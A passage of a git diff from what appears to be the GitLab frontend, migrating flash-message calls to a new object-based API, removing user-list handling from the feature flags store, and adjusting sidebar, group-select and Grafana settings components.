- components: { GlAlert, GlBadge, GlEmptyState, GlLink, GlLoadingIcon, GlTab },
- inject: ['errorStateSvgPath', 'featureFlagsHelpPagePath'],
- props: {
- title: {
- required: true,
- type: String,
- },
- count: {
- required: false,
- type: Number,
- default: null,
- },
- alerts: {
- required: true,
- type: Array,
- },
- isLoading: {
- required: true,
- type: Boolean,
- },
- loadingLabel: {
- required: true,
- type: String,
- },
- errorState: {
- required: true,
- type: Boolean,
- },
- errorTitle: {
- required: true,
- type: String,
- },
- emptyState: {
- required: true,
- type: Boolean,
- },
- emptyTitle: {
- required: true,
- type: String,
- },
- emptyDescription: {
- required: true,
- type: String,
- },
- },
- computed: {
- itemCount() {
- return this.count ?? 0;
- },
- },
- methods: {
- clearAlert(index) {
- this.$emit('dismissAlert', index);
- },
- onClick(event) {
- return this.$emit('changeTab', event);
- },
- },
-};
-</script>
-<template>
- <gl-tab @click="onClick">
- <template #title>
- <span data-testid="feature-flags-tab-title">{{ title }}</span>
- <gl-badge size="sm" class="gl-tab-counter-badge">{{ itemCount }}</gl-badge>
- </template>
- <gl-alert
- v-for="(message, index) in alerts"
- :key="index"
- data-testid="serverErrors"
- variant="danger"
- @dismiss="clearAlert(index)"
- >
- {{ message }}
- </gl-alert>
-
- <gl-loading-icon v-if="isLoading" :label="loadingLabel" size="md" class="gl-mt-4" />
-
- <gl-empty-state
- v-else-if="errorState"
- :title="errorTitle"
- :description="s__(`FeatureFlags|Try again in a few moments or contact your support team.`)"
- :svg-path="errorStateSvgPath"
- data-testid="error-state"
- />
-
- <gl-empty-state
- v-else-if="emptyState"
- :title="emptyTitle"
- :svg-path="errorStateSvgPath"
- data-testid="empty-state"
- >
- <template #description>
- {{ emptyDescription }}
- <gl-link :href="featureFlagsHelpPagePath" target="_blank">
- {{ s__('FeatureFlags|More information') }}
- </gl-link>
- </template>
- </gl-empty-state>
- <slot> </slot>
- </gl-tab>
-</template>
diff --git a/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue b/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue
index efe4ff71a9e..c59e3178b09 100644
--- a/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue
+++ b/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue
@@ -8,7 +8,7 @@ import {
GlSearchBoxByType,
} from '@gitlab/ui';
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __, sprintf } from '~/locale';
@@ -52,7 +52,9 @@ export default {
this.results = data || [];
})
.catch(() => {
- createFlash(__('Something went wrong on our end. Please try again.'));
+ createFlash({
+ message: __('Something went wrong on our end. Please try again.'),
+ });
})
.finally(() => {
this.isLoading = false;
diff --git a/app/assets/javascripts/feature_flags/constants.js b/app/assets/javascripts/feature_flags/constants.js
index 658984456a5..f697f203cf5 100644
--- a/app/assets/javascripts/feature_flags/constants.js
+++ b/app/assets/javascripts/feature_flags/constants.js
@@ -21,9 +21,6 @@ export const fetchUserIdParams = property(['parameters', 'userIds']);
export const NEW_VERSION_FLAG = 'new_version_flag';
export const LEGACY_FLAG = 'legacy_flag';
-export const FEATURE_FLAG_SCOPE = 'featureFlags';
-export const USER_LIST_SCOPE = 'userLists';
-
export const EMPTY_PARAMETERS = { parameters: {}, userListId: undefined };
export const STRATEGY_SELECTIONS = [
diff --git a/app/assets/javascripts/feature_flags/index.js b/app/assets/javascripts/feature_flags/index.js
index d2371a2aa8b..5c0d9cb8624 100644
--- a/app/assets/javascripts/feature_flags/index.js
+++ b/app/assets/javascripts/feature_flags/index.js
@@ -22,7 +22,7 @@ export default () => {
unleashApiUrl,
canUserAdminFeatureFlag,
newFeatureFlagPath,
- newUserListPath,
+ userListPath,
featureFlagsLimitExceeded,
featureFlagsLimit,
} = el.dataset;
@@ -40,9 +40,9 @@ export default () => {
csrfToken: csrf.token,
canUserConfigure: canUserAdminFeatureFlag !== undefined,
newFeatureFlagPath,
- newUserListPath,
featureFlagsLimitExceeded: featureFlagsLimitExceeded !== undefined,
featureFlagsLimit,
+ userListPath,
},
render(createElement) {
return createElement(FeatureFlagsComponent);
diff --git a/app/assets/javascripts/feature_flags/store/edit/actions.js b/app/assets/javascripts/feature_flags/store/edit/actions.js
index 72b17333832..54c7e8c4453 100644
--- a/app/assets/javascripts/feature_flags/store/edit/actions.js
+++ b/app/assets/javascripts/feature_flags/store/edit/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
@@ -55,7 +55,9 @@ export const receiveFeatureFlagSuccess = ({ commit }, response) =>
commit(types.RECEIVE_FEATURE_FLAG_SUCCESS, response);
export const receiveFeatureFlagError = ({ commit }) => {
commit(types.RECEIVE_FEATURE_FLAG_ERROR);
- createFlash(__('Something went wrong on our end. Please try again!'));
+ createFlash({
+ message: __('Something went wrong on our end. Please try again!'),
+ });
};
export const toggleActive = ({ commit }, active) => commit(types.TOGGLE_ACTIVE, active);
diff --git a/app/assets/javascripts/feature_flags/store/index/actions.js b/app/assets/javascripts/feature_flags/store/index/actions.js
index 4372c280f39..751f627ca48 100644
--- a/app/assets/javascripts/feature_flags/store/index/actions.js
+++ b/app/assets/javascripts/feature_flags/store/index/actions.js
@@ -1,4 +1,3 @@
-import Api from '~/api';
import axios from '~/lib/utils/axios_utils';
import * as types from './mutation_types';
@@ -26,19 +25,6 @@ export const receiveFeatureFlagsSuccess = ({ commit }, response) =>
commit(types.RECEIVE_FEATURE_FLAGS_SUCCESS, response);
export const receiveFeatureFlagsError = ({ commit }) => commit(types.RECEIVE_FEATURE_FLAGS_ERROR);
-export const fetchUserLists = ({ state, dispatch }) => {
- dispatch('requestUserLists');
-
- return Api.fetchFeatureFlagUserLists(state.projectId, state.options.page)
- .then(({ data, headers }) => dispatch('receiveUserListsSuccess', { data, headers }))
- .catch(() => dispatch('receiveUserListsError'));
-};
-
-export const requestUserLists = ({ commit }) => commit(types.REQUEST_USER_LISTS);
-export const receiveUserListsSuccess = ({ commit }, response) =>
- commit(types.RECEIVE_USER_LISTS_SUCCESS, response);
-export const receiveUserListsError = ({ commit }) => commit(types.RECEIVE_USER_LISTS_ERROR);
-
export const toggleFeatureFlag = ({ dispatch }, flag) => {
dispatch('updateFeatureFlag', flag);
@@ -57,26 +43,6 @@ export const receiveUpdateFeatureFlagSuccess = ({ commit }, data) =>
export const receiveUpdateFeatureFlagError = ({ commit }, id) =>
commit(types.RECEIVE_UPDATE_FEATURE_FLAG_ERROR, id);
-export const deleteUserList = ({ state, dispatch }, list) => {
- dispatch('requestDeleteUserList', list);
-
- return Api.deleteFeatureFlagUserList(state.projectId, list.iid)
- .then(() => dispatch('fetchUserLists'))
- .catch((error) =>
- dispatch('receiveDeleteUserListError', {
- list,
- error: error?.response?.data ?? error,
- }),
- );
-};
-
-export const requestDeleteUserList = ({ commit }, list) =>
- commit(types.REQUEST_DELETE_USER_LIST, list);
-
-export const receiveDeleteUserListError = ({ commit }, { error, list }) => {
- commit(types.RECEIVE_DELETE_USER_LIST_ERROR, { error, list });
-};
-
export const rotateInstanceId = ({ state, dispatch }) => {
dispatch('requestRotateInstanceId');
diff --git a/app/assets/javascripts/feature_flags/store/index/mutation_types.js b/app/assets/javascripts/feature_flags/store/index/mutation_types.js
index 189c763782e..ed05294a6f3 100644
--- a/app/assets/javascripts/feature_flags/store/index/mutation_types.js
+++ b/app/assets/javascripts/feature_flags/store/index/mutation_types.js
@@ -4,13 +4,6 @@ export const REQUEST_FEATURE_FLAGS = 'REQUEST_FEATURE_FLAGS';
export const RECEIVE_FEATURE_FLAGS_SUCCESS = 'RECEIVE_FEATURE_FLAGS_SUCCESS';
export const RECEIVE_FEATURE_FLAGS_ERROR = 'RECEIVE_FEATURE_FLAGS_ERROR';
-export const REQUEST_USER_LISTS = 'REQUEST_USER_LISTS';
-export const RECEIVE_USER_LISTS_SUCCESS = 'RECEIVE_USER_LISTS_SUCCESS';
-export const RECEIVE_USER_LISTS_ERROR = 'RECEIVE_USER_LISTS_ERROR';
-
-export const REQUEST_DELETE_USER_LIST = 'REQUEST_DELETE_USER_LIST';
-export const RECEIVE_DELETE_USER_LIST_ERROR = 'RECEIVE_DELETE_USER_LIST_ERROR';
-
export const UPDATE_FEATURE_FLAG = 'UPDATE_FEATURE_FLAG';
export const RECEIVE_UPDATE_FEATURE_FLAG_SUCCESS = 'RECEIVE_UPDATE_FEATURE_FLAG_SUCCESS';
export const RECEIVE_UPDATE_FEATURE_FLAG_ERROR = 'RECEIVE_UPDATE_FEATURE_FLAG_ERROR';
diff --git a/app/assets/javascripts/feature_flags/store/index/mutations.js b/app/assets/javascripts/feature_flags/store/index/mutations.js
index 25eb7da1c72..54e48a4b80c 100644
--- a/app/assets/javascripts/feature_flags/store/index/mutations.js
+++ b/app/assets/javascripts/feature_flags/store/index/mutations.js
@@ -1,17 +1,16 @@
import Vue from 'vue';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
-import { FEATURE_FLAG_SCOPE, USER_LIST_SCOPE } from '../../constants';
import { mapToScopesViewModel } from '../helpers';
import * as types from './mutation_types';
const mapFlag = (flag) => ({ ...flag, scopes: mapToScopesViewModel(flag.scopes || []) });
const updateFlag = (state, flag) => {
- const index = state[FEATURE_FLAG_SCOPE].findIndex(({ id }) => id === flag.id);
- Vue.set(state[FEATURE_FLAG_SCOPE], index, flag);
+ const index = state.featureFlags.findIndex(({ id }) => id === flag.id);
+ Vue.set(state.featureFlags, index, flag);
};
-const createPaginationInfo = (state, headers) => {
+const createPaginationInfo = (headers) => {
let paginationInfo;
if (Object.keys(headers).length) {
const normalizedHeaders = normalizeHeaders(headers);
@@ -32,44 +31,16 @@ export default {
[types.RECEIVE_FEATURE_FLAGS_SUCCESS](state, response) {
state.isLoading = false;
state.hasError = false;
- state[FEATURE_FLAG_SCOPE] = (response.data.feature_flags || []).map(mapFlag);
+ state.featureFlags = (response.data.feature_flags || []).map(mapFlag);
- const paginationInfo = createPaginationInfo(state, response.headers);
- state.count = {
- ...state.count,
- [FEATURE_FLAG_SCOPE]: paginationInfo?.total ?? state[FEATURE_FLAG_SCOPE].length,
- };
- state.pageInfo = {
- ...state.pageInfo,
- [FEATURE_FLAG_SCOPE]: paginationInfo,
- };
+ const paginationInfo = createPaginationInfo(response.headers);
+ state.count = paginationInfo?.total ?? state.featureFlags.length;
+ state.pageInfo = paginationInfo;
},
[types.RECEIVE_FEATURE_FLAGS_ERROR](state) {
state.isLoading = false;
state.hasError = true;
},
- [types.REQUEST_USER_LISTS](state) {
- state.isLoading = true;
- },
- [types.RECEIVE_USER_LISTS_SUCCESS](state, response) {
- state.isLoading = false;
- state.hasError = false;
- state[USER_LIST_SCOPE] = response.data || [];
-
- const paginationInfo = createPaginationInfo(state, response.headers);
- state.count = {
- ...state.count,
- [USER_LIST_SCOPE]: paginationInfo?.total ?? state[USER_LIST_SCOPE].length,
- };
- state.pageInfo = {
- ...state.pageInfo,
- [USER_LIST_SCOPE]: paginationInfo,
- };
- },
- [types.RECEIVE_USER_LISTS_ERROR](state) {
- state.isLoading = false;
- state.hasError = true;
- },
[types.REQUEST_ROTATE_INSTANCE_ID](state) {
state.isRotating = true;
state.hasRotateError = false;
@@ -90,18 +61,9 @@ export default {
updateFlag(state, mapFlag(data));
},
[types.RECEIVE_UPDATE_FEATURE_FLAG_ERROR](state, i) {
- const flag = state[FEATURE_FLAG_SCOPE].find(({ id }) => i === id);
+ const flag = state.featureFlags.find(({ id }) => i === id);
updateFlag(state, { ...flag, active: !flag.active });
},
- [types.REQUEST_DELETE_USER_LIST](state, list) {
- state.userLists = state.userLists.filter((l) => l !== list);
- },
- [types.RECEIVE_DELETE_USER_LIST_ERROR](state, { error, list }) {
- state.isLoading = false;
- state.hasError = false;
- state.alerts = [].concat(error.message);
- state.userLists = state.userLists.concat(list).sort((l1, l2) => l1.iid - l2.iid);
- },
[types.RECEIVE_CLEAR_ALERT](state, index) {
state.alerts.splice(index, 1);
},
diff --git a/app/assets/javascripts/feature_flags/store/index/state.js b/app/assets/javascripts/feature_flags/store/index/state.js
index f8439b02639..488da265b28 100644
--- a/app/assets/javascripts/feature_flags/store/index/state.js
+++ b/app/assets/javascripts/feature_flags/store/index/state.js
@@ -1,11 +1,8 @@
-import { FEATURE_FLAG_SCOPE, USER_LIST_SCOPE } from '../../constants';
-
export default ({ endpoint, projectId, unleashApiInstanceId, rotateInstanceIdPath }) => ({
- [FEATURE_FLAG_SCOPE]: [],
- [USER_LIST_SCOPE]: [],
+ featureFlags: [],
alerts: [],
- count: {},
- pageInfo: { [FEATURE_FLAG_SCOPE]: {}, [USER_LIST_SCOPE]: {} },
+ count: 0,
+ pageInfo: {},
isLoading: true,
hasError: false,
endpoint,
diff --git a/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js b/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js
index e317700b09b..35c79891458 100644
--- a/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js
+++ b/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js
@@ -1,6 +1,6 @@
import { __ } from '~/locale';
import AjaxFilter from '../droplab/plugins/ajax_filter';
-import { deprecatedCreateFlash as createFlash } from '../flash';
+import createFlash from '../flash';
import DropdownUtils from './dropdown_utils';
import FilteredSearchDropdown from './filtered_search_dropdown';
import FilteredSearchTokenizer from './filtered_search_tokenizer';
@@ -27,7 +27,9 @@ export default class DropdownAjaxFilter extends FilteredSearchDropdown {
searchValueFunction: this.getSearchInput.bind(this),
loadingTemplate: this.loadingTemplate,
onError() {
- createFlash(__('An error occurred fetching the dropdown data.'));
+ createFlash({
+ message: __('An error occurred fetching the dropdown data.'),
+ });
},
};
}
diff --git a/app/assets/javascripts/filtered_search/filtered_search_manager.js b/app/assets/javascripts/filtered_search/filtered_search_manager.js
index d0996c9200b..707205a6502 100644
--- a/app/assets/javascripts/filtered_search/filtered_search_manager.js
+++ b/app/assets/javascripts/filtered_search/filtered_search_manager.js
@@ -801,7 +801,7 @@ export default class FilteredSearchManager {
paths.push(`search=${sanitized}`);
}
- let parameterizedUrl = `?scope=all&utf8=%E2%9C%93&${paths.join('&')}`;
+ let parameterizedUrl = `?scope=all&${paths.join('&')}`;
if (this.anchor) {
parameterizedUrl += `#${this.anchor}`;
diff --git a/app/assets/javascripts/flash.js b/app/assets/javascripts/flash.js
index 7a79f8f5bfc..2edb6e79d3b 100644
--- a/app/assets/javascripts/flash.js
+++ b/app/assets/javascripts/flash.js
@@ -60,7 +60,9 @@ const createFlashEl = (message, type) => `
`;
const removeFlashClickListener = (flashEl, fadeTransition) => {
- getCloseEl(flashEl).addEventListener('click', () => hideFlash(flashEl, fadeTransition));
+ // There are some flash elements which do not have a closeEl.
+ // https://gitlab.com/gitlab-org/gitlab/blob/763426ef344488972eb63ea5be8744e0f8459e6b/ee/app/views/layouts/header/_read_only_banner.html.haml
+ getCloseEl(flashEl)?.addEventListener('click', () => hideFlash(flashEl, fadeTransition));
};
/*
diff --git a/app/assets/javascripts/fly_out_nav.js b/app/assets/javascripts/fly_out_nav.js
index 5df0ac37812..893b74a9895 100644
--- a/app/assets/javascripts/fly_out_nav.js
+++ b/app/assets/javascripts/fly_out_nav.js
@@ -1,7 +1,9 @@
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { SIDEBAR_COLLAPSED_CLASS } from './contextual_sidebar';
+const isRefactoring = document.body.classList.contains('sidebar-refactoring');
const HIDE_INTERVAL_TIMEOUT = 300;
+const COLLAPSED_PANEL_WIDTH = isRefactoring ? 48 : 50;
const IS_OVER_CLASS = 'is-over';
const IS_ABOVE_CLASS = 'is-above';
const IS_SHOWING_FLY_OUT_CLASS = 'is-showing-fly-out';
@@ -22,12 +24,7 @@ export const setOpenMenu = (menu = null) => {
export const slope = (a, b) => (b.y - a.y) / (b.x - a.x);
-let headerHeight = 50;
-
-export const getHeaderHeight = () => headerHeight;
-const setHeaderHeight = () => {
- headerHeight = sidebar.offsetTop;
-};
+export const getHeaderHeight = () => sidebar?.offsetTop || 0;
export const isSidebarCollapsed = () =>
sidebar && sidebar.classList.contains(SIDEBAR_COLLAPSED_CLASS);
@@ -79,6 +76,7 @@ export const hideMenu = (el) => {
el.style.display = '';
el.style.transform = '';
el.classList.remove(IS_ABOVE_CLASS);
+ el.classList.remove('fly-out-list');
parentEl.classList.remove(IS_OVER_CLASS);
parentEl.classList.remove(IS_SHOWING_FLY_OUT_CLASS);
@@ -86,14 +84,20 @@ export const hideMenu = (el) => {
};
export const moveSubItemsToPosition = (el, subItems) => {
+ const hasSubItems = subItems.parentNode.querySelector('.has-sub-items');
+ const header = subItems.querySelector('.fly-out-top-item');
const boundingRect = el.getBoundingClientRect();
- const top = calculateTop(boundingRect, subItems.offsetHeight);
- const left = sidebar ? sidebar.offsetWidth : 50;
+ const left = sidebar ? sidebar.offsetWidth : COLLAPSED_PANEL_WIDTH;
+ let top = calculateTop(boundingRect, subItems.offsetHeight);
+ if (isRefactoring && hasSubItems) {
+ top -= header.offsetHeight;
+ } else if (isRefactoring) {
+ top = boundingRect.top;
+ }
const isAbove = top < boundingRect.top;
subItems.classList.add('fly-out-list');
- subItems.style.transform = `translate3d(${left}px, ${Math.floor(top) - headerHeight}px, 0)`; // eslint-disable-line no-param-reassign
-
+ subItems.style.transform = `translate3d(${left}px, ${Math.floor(top) - getHeaderHeight()}px, 0)`; // eslint-disable-line no-param-reassign
const subItemsRect = subItems.getBoundingClientRect();
menuCornerLocs = [
@@ -187,8 +191,6 @@ export default () => {
});
}
- requestIdleCallback(setHeaderHeight);
-
items.forEach((el) => {
const subItems = el.querySelector('.sidebar-sub-level-items');
diff --git a/app/assets/javascripts/frequent_items/components/app.vue b/app/assets/javascripts/frequent_items/components/app.vue
index e103949b86a..dd405893e43 100644
--- a/app/assets/javascripts/frequent_items/components/app.vue
+++ b/app/assets/javascripts/frequent_items/components/app.vue
@@ -30,6 +30,11 @@ export default {
type: Object,
required: true,
},
+ searchClass: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
computed: {
...mapVuexModuleState((vm) => vm.vuexModule, [
@@ -115,7 +120,11 @@ export default {
<template>
<div class="gl-display-flex gl-flex-direction-column gl-flex-align-items-stretch gl-h-full">
- <frequent-items-search-input :namespace="namespace" data-testid="frequent-items-search-input" />
+ <frequent-items-search-input
+ :namespace="namespace"
+ :class="searchClass"
+ data-testid="frequent-items-search-input"
+ />
<gl-loading-icon
v-if="isLoadingItems"
:label="translations.loadingMessage"
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
index c2f77cc8bc4..d6fcdeb9e13 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
@@ -58,7 +58,7 @@ export default {
<li class="frequent-items-list-item-container">
<a
:href="webUrl"
- class="clearfix"
+ class="clearfix dropdown-item"
@click="track('click_link', { label: `${dropdownType}_dropdown_frequent_items_list_item` })"
>
<div
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue b/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
index fa14ee15cf3..4a1b7e57749 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue
@@ -39,7 +39,7 @@ export default {
</script>
<template>
- <div class="search-input-container d-none d-sm-block">
+ <div class="search-input-container">
<gl-search-box-by-type
v-model="searchQuery"
:placeholder="translations.searchInputPlaceholder"
diff --git a/app/assets/javascripts/frequent_items/index.js b/app/assets/javascripts/frequent_items/index.js
index f1540ffac28..9de18ba092f 100644
--- a/app/assets/javascripts/frequent_items/index.js
+++ b/app/assets/javascripts/frequent_items/index.js
@@ -60,6 +60,7 @@ export default function initFrequentItemDropdowns() {
namespace,
currentUserName: this.currentUserName,
currentItem: this.currentItem,
+ searchClass: 'gl-display-none gl-sm-display-block',
},
}),
],
diff --git a/app/assets/javascripts/gpg_badges.js b/app/assets/javascripts/gpg_badges.js
index cde2cd6d6ab..fa6f07edfcf 100644
--- a/app/assets/javascripts/gpg_badges.js
+++ b/app/assets/javascripts/gpg_badges.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { parseQueryStringIntoObject } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
@@ -16,7 +16,10 @@ export default class GpgBadges {
badges.html('<span class="gl-spinner gl-spinner-orange gl-spinner-sm"></span>');
badges.children().attr('aria-label', __('Loading'));
- const displayError = () => createFlash(__('An error occurred while loading commit signatures'));
+ const displayError = () =>
+ createFlash({
+ message: __('An error occurred while loading commit signatures'),
+ });
const endpoint = tag.data('signaturesPath');
if (!endpoint) {
diff --git a/app/assets/javascripts/grafana_integration/components/grafana_integration.vue b/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
index e941318dce0..3911201457f 100644
--- a/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
+++ b/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
@@ -1,5 +1,13 @@
<script>
-import { GlButton, GlFormGroup, GlFormInput, GlFormCheckbox, GlIcon, GlLink } from '@gitlab/ui';
+import {
+ GlButton,
+ GlFormGroup,
+ GlFormInput,
+ GlFormCheckbox,
+ GlIcon,
+ GlLink,
+ GlSprintf,
+} from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
import { helpPagePath } from '~/helpers/help_page_helper';
@@ -11,6 +19,7 @@ export default {
GlFormInput,
GlIcon,
GlLink,
+ GlSprintf,
},
data() {
return {
@@ -78,13 +87,11 @@ export default {
</div>
<div class="settings-content">
<form>
- <gl-form-checkbox
- id="grafana-integration-enabled"
- v-model="integrationEnabled"
- class="mb-4"
- >
- {{ s__('GrafanaIntegration|Active') }}
- </gl-form-checkbox>
+ <gl-form-group :label="__('Enable authentication')" label-for="grafana-integration-enabled">
+ <gl-form-checkbox id="grafana-integration-enabled" v-model="integrationEnabled">
+ {{ s__('GrafanaIntegration|Active') }}
+ </gl-form-checkbox>
+ </gl-form-group>
<gl-form-group
:label="s__('GrafanaIntegration|Grafana URL')"
label-for="grafana-url"
@@ -95,18 +102,27 @@ export default {
<gl-form-group :label="s__('GrafanaIntegration|API token')" label-for="grafana-token">
<gl-form-input id="grafana-token" v-model="localGrafanaToken" />
<p class="form-text text-muted">
- {{ s__('GrafanaIntegration|Enter the Grafana API token.') }}
- <a
- href="https://grafana.com/docs/http_api/auth/#create-api-token"
- target="_blank"
- rel="noopener noreferrer"
+ <gl-sprintf
+ :message="
+ s__('GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}.')
+ "
>
- {{ __('More information.') }}
- <gl-icon name="external-link" class="vertical-align-middle" />
- </a>
+ <template #docLink="{ content }">
+ <gl-link
+ href="https://grafana.com/docs/http_api/auth/#create-api-token"
+ target="_blank"
+ >{{ content }} <gl-icon name="external-link" class="gl-vertical-align-middle"
+ /></gl-link>
+ </template>
+ </gl-sprintf>
</p>
</gl-form-group>
- <gl-button variant="success" category="primary" @click="updateGrafanaIntegration">
+ <gl-button
+ variant="confirm"
+ category="primary"
+ data-testid="save-grafana-settings-button"
+ @click="updateGrafanaIntegration"
+ >
{{ __('Save changes') }}
</gl-button>
</form>
diff --git a/app/assets/javascripts/grafana_integration/store/actions.js b/app/assets/javascripts/grafana_integration/store/actions.js
index 7c5d4695731..77d2acd3393 100644
--- a/app/assets/javascripts/grafana_integration/store/actions.js
+++ b/app/assets/javascripts/grafana_integration/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
@@ -38,5 +38,8 @@ export const receiveGrafanaIntegrationUpdateError = (_, error) => {
const { response } = error;
const message = response.data && response.data.message ? response.data.message : '';
- createFlash(`${__('There was an error saving your changes.')} ${message}`, 'alert');
+ createFlash({
+ message: `${__('There was an error saving your changes.')} ${message}`,
+ type: 'alert',
+ });
};
diff --git a/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql
index 41e7ed98c78..2c771c32e16 100644
--- a/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql
@@ -11,12 +11,4 @@ fragment AlertListItem on AlertManagementAlert {
title
webUrl
}
- assignees {
- nodes {
- name
- username
- avatarUrl
- webUrl
- }
- }
}
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/fragments/alert_detail_item.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql
index 9a9ae369519..9a9ae369519 100644
--- a/app/assets/javascripts/vue_shared/alert_details/graphql/fragments/alert_detail_item.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_details.query.graphql b/app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql
index 5ee2cf7ca44..5ee2cf7ca44 100644
--- a/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_details.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql
diff --git a/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql b/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql
index 7a676e67f1b..095e4fe29df 100644
--- a/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql
@@ -1,4 +1,5 @@
#import "~/graphql_shared/fragments/alert.fragment.graphql"
+#import "~/graphql_shared/fragments/user.fragment.graphql"
query getAlerts(
$projectPath: ID!
@@ -26,6 +27,11 @@ query getAlerts(
) {
nodes {
...AlertListItem
+ assignees {
+ nodes {
+ ...User
+ }
+ }
}
pageInfo {
hasNextPage
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql b/app/assets/javascripts/graphql_shared/queries/get_user_callouts.query.graphql
index 12b391e41ac..12b391e41ac 100644
--- a/app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/get_user_callouts.query.graphql
diff --git a/app/assets/javascripts/groups/components/group_item.vue b/app/assets/javascripts/groups/components/group_item.vue
index f2c608a8912..dbad2688451 100644
--- a/app/assets/javascripts/groups/components/group_item.vue
+++ b/app/assets/javascripts/groups/components/group_item.vue
@@ -181,7 +181,12 @@ export default {
<gl-badge variant="warning">{{ __('pending removal') }}</gl-badge>
</div>
<div class="metadata d-flex flex-grow-1 flex-shrink-0 flex-wrap justify-content-md-between">
- <item-actions v-if="isGroup" :group="group" :parent-group="parentGroup" />
+ <item-actions
+ v-if="isGroup"
+ :group="group"
+ :parent-group="parentGroup"
+ :action="action"
+ />
<item-stats
:item="group"
class="group-stats gl-mt-2 d-none d-md-flex gl-align-items-center"
diff --git a/app/assets/javascripts/groups_select.js b/app/assets/javascripts/groups_select.js
index 93fbbf07ae2..bd71c5ebc11 100644
--- a/app/assets/javascripts/groups_select.js
+++ b/app/assets/javascripts/groups_select.js
@@ -5,6 +5,17 @@ import Api from './api';
import { loadCSSFile } from './lib/utils/css_utils';
import { select2AxiosTransport } from './lib/utils/select2_utils';
+const groupsPath = (groupsFilter, parentGroupID) => {
+ switch (groupsFilter) {
+ case 'descendant_groups':
+ return Api.descendantGroupsPath.replace(':id', parentGroupID);
+ case 'subgroups':
+ return Api.subgroupsPath.replace(':id', parentGroupID);
+ default:
+ return Api.groupsPath;
+ }
+};
+
const groupsSelect = () => {
loadCSSFile(gon.select2_css_path)
.then(() => {
@@ -16,9 +27,7 @@ const groupsSelect = () => {
const allAvailable = $select.data('allAvailable');
const skipGroups = $select.data('skipGroups') || [];
const parentGroupID = $select.data('parentId');
- const groupsPath = parentGroupID
- ? Api.subgroupsPath.replace(':id', parentGroupID)
- : Api.groupsPath;
+ const groupsFilter = $select.data('groupsFilter');
$select.select2({
placeholder: __('Search for a group'),
@@ -26,7 +35,7 @@ const groupsSelect = () => {
multiple: $select.hasClass('multiselect'),
minimumInputLength: 0,
ajax: {
- url: Api.buildUrl(groupsPath),
+ url: Api.buildUrl(groupsPath(groupsFilter, parentGroupID)),
dataType: 'json',
quietMillis: 250,
transport: select2AxiosTransport,
diff --git a/app/assets/javascripts/ide/components/branches/search_list.vue b/app/assets/javascripts/ide/components/branches/search_list.vue
index 5e93b7c1bbb..ce39c796386 100644
--- a/app/assets/javascripts/ide/components/branches/search_list.vue
+++ b/app/assets/javascripts/ide/components/branches/search_list.vue
@@ -69,7 +69,7 @@ export default {
class="form-control dropdown-input-field"
@input="searchBranches"
/>
- <gl-icon :size="18" name="search" class="ml-3 input-icon" use-deprecated-sizes />
+ <gl-icon name="search" class="gl-ml-5 gl-mt-1 input-icon" />
</label>
<div class="dropdown-content ide-merge-requests-dropdown-content d-flex">
<gl-loading-icon
diff --git a/app/assets/javascripts/ide/components/new_dropdown/modal.vue b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
index cafb58b0e2c..f8dc10420d0 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/modal.vue
